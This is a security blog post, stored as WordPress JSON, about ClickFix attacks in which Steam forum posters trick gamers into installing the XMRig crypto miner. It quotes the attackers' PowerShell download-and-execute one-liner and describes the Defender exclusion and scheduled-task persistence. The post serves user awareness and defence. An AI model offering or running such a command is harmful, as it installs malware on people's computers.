{"id":56285,"date":"2026-08-17T11:49:32","date_gmt":"2026-08-17T15:49:32","guid":{"rendered":"https:\/\/www.kaspersky.com\/blog\/?p=56285"},"modified":"2026-08-17T11:49:32","modified_gmt":"2026-08-17T15:49:32","slug":"steam-forum-clickfix-attack-irm-iex","status":"publish","type":"post","link":"https:\/\/www.kaspersky.com\/blog\/steam-forum-clickfix-attack-irm-iex\/56285\/","title":{"rendered":"Bad advice for gamers: ClickFix hits Steam forums"},"content":{"rendered":"

This year has seen a real boom in ClickFix attacks<\/a>. It\u2019s such a hit with criminals that we barely finish writing about one variation before it\u2019s time to cover the next.<\/p>\n

This time, attackers are targeting gamers: tech journalists spotted posts pushing malicious tips<\/a> on Steam forums. Here\u2019s what these posts look like, what malware they\u2019re used to spread, and how to keep your device safe.<\/p>\n

ClickFix finds its way onto Steam forums<\/h2>\n

Many gamers turn to their fellow players on Steam forums for help and advice on things like beating a tricky quest, leveling up, scoring the best loot, or working around a bug. And it\u2019s precisely this trust in community advice that attackers have decided to exploit.<\/p>\n

The attack starts when criminals reply to someone\u2019s question about game crashes, missing inventory items, or other technical issues. Posing as helpful commenters, they suggest opening PowerShell as an administrator and running a command that supposedly fixes the issue the user is having.<\/p>\n

\"A<\/a>

Disguising their post as troubleshooting advice, the malicious actor suggests running PowerShell as an administrator and executing a command that supposedly fixes the user\u2019s issue. Source<\/a><\/p><\/div>\n

As you might guess, running the command doesn\u2019t fix anything\u00a0\u2014 it just opens a whole new can of worms. That\u2019s the whole idea behind ClickFix: using social engineering to trick victims into carrying out unsafe actions themselves while giving the scammers what they need to compromise the device. We\u2019ve covered other ClickFix tricks before\u00a0\u2014 fake CAPTCHAs, bogus browser errors, and more\u00a0\u2014 all of which rely on getting the victim to run the malicious command on their own. You can read more about the different variations of ClickFix attacks<\/a> in our earlier post.<\/p>\n

The guile of using ClickFix on Steam forums is that the attack may hit not only the player who asked for help; plenty of other gamers who run into the same issue and find the answer via a Google search can fall for it too.<\/p>\n

A quick primer: what\u2019s really behind the irm <\/em>| iex<\/em> command<\/h2>\n

Before we get into what attackers actually trick gamers into installing this way, we need to cover some technical background. So, first off, the posts on Steam forums advise unsuspecting would-be victims to run the following command in PowerShell:<\/p>\n

irm msfconfig.icu | iex<\/code><\/p>\n

To someone not intimately familiar with PowerShell, this line might look fairly innocuous\u00a0\u2014 it resembles launching MSConfig, Windows\u2019 built-in system configuration utility, with a few extra parameters.<\/p>\n

In reality, though, it\u2019s anything but harmless. Let\u2019s break down what each part of this command actually does:<\/p>\n

    \n
  1. irm<\/em><\/strong> is short for the built-in PowerShell command Invoke-RestMethod<\/em>. It reaches out to the web address specified later in the line and retrieves data in response.<\/li>\n
  2. icu<\/em><\/strong> is that web address\u00a0\u2014 not the name of some local file as it might appear at first glance. This is the attackers\u2019 server, and it responds to the irm<\/em><\/strong> request with a malicious PowerShell script.<\/li>\n
  3. iex<\/em><\/strong> is another built-in PowerShell command, Invoke-Expression<\/em>. It takes whatever irm<\/em><\/strong> receives from that web address and executes it as PowerShell code.<\/li>\n<\/ol>\n

    Once run, this line of PowerShell code downloads a script from the specified site and immediately executes it. As one Reddit user rightly pointed out<\/a>, you can safely find out what code would actually be downloaded to your device\u00a0\u2014 without the risk of it running\u00a0\u2014 just by deleting the second part, iex<\/em><\/strong>. Without it, the command will simply download the script\u2019s contents and print them to the PowerShell window without executing them. This gives you the full, unobscured code that you\u2019re being asked to run on your device. Next, let\u2019s look at what these helpful Steam forum posters are actually trying to get gamers to install on their machines.<\/p>\n

    A crypto miner, not an optimization tool<\/h2>\n

    The attackers did their homework: the PowerShell script downloaded from their server does a convincing job of mimicking a Windows optimization utility. Once launched, it shows the user a series of notifications claiming to clear temporary files, flush the DNS cache, update drivers, check the disk for errors, disable unnecessary startup apps, scan the system for malware, repair the Windows image, and verify system file integrity.<\/p>\n

    \"Fake<\/a>

    The script displays a stream of messages about various fake optimization tasks to make it look like it\u2019s doing useful maintenance. Source<\/a><\/p><\/div>\n

    The real activity, meanwhile, happens behind the scenes. The script starts by checking whether it\u2019s running with administrator privileges. If it is, it creates a hidden working folder at C:\\Windows\\Background<\/em>, and adds it to Microsoft Defender\u2019s exclusion list. From that point on, any files placed in that folder cease to be scanned by Windows\u2019 built-in antivirus.<\/p>\n

    Next, the script preps the system for the next stage of the attack and downloads an executable from the attackers\u2019 server \u2014 saving it into that same C:\\Windows\\Background<\/em> folder under the legitimate-sounding name system.exe<\/em>.<\/p>\n

    The downloaded file is XMRig<\/em>, one of the most popular tools for mining the Monero cryptocurrency. XMRig<\/em> itself isn\u2019t malware; it\u2019s a legitimate, open-source mining tool. The problem is that attackers install it on victims\u2019 computers without their knowledge. Once it\u2019s running, the device\u2019s computing power gets hijacked for Monero mining, with the resulting cryptocurrency going straight to the criminals.<\/p>\n

    This makes gamers\u2019 rigs especially appealing targets: modern gaming PCs pack powerful CPUs and GPUs\u00a0\u2014 exactly the kind of hardware that\u2019s great for mining crypto.<\/p>\n

    To make sure the malware survives a reboot, the script also creates a new task in Windows Task Scheduler: XMRig-{computer name}<\/em>. From then on, it automatically launches the crypto miner every time the system starts up.<\/p>\n

    How to protect your device from crypto miners and other malware<\/h2>\n

    Unfortunately, many gamers are reluctant to install security software\u00a0\u2014 or keep it running\u00a0\u2014 on their devices. The main culprit is the persistent myth that \u201can antivirus slows down your game\u201d. We\u2019ve covered research on this on our blog before, and the results showed no significant performance hit<\/a> from running an antivirus while playing.<\/p>\n

    The same can\u2019t be said for crypto miners, though\u00a0\u2014 they definitely hurt performance, and they wear down your hardware faster to boot. So what can you do to keep your gaming PC and accounts out of harm\u2019s way?<\/p>\n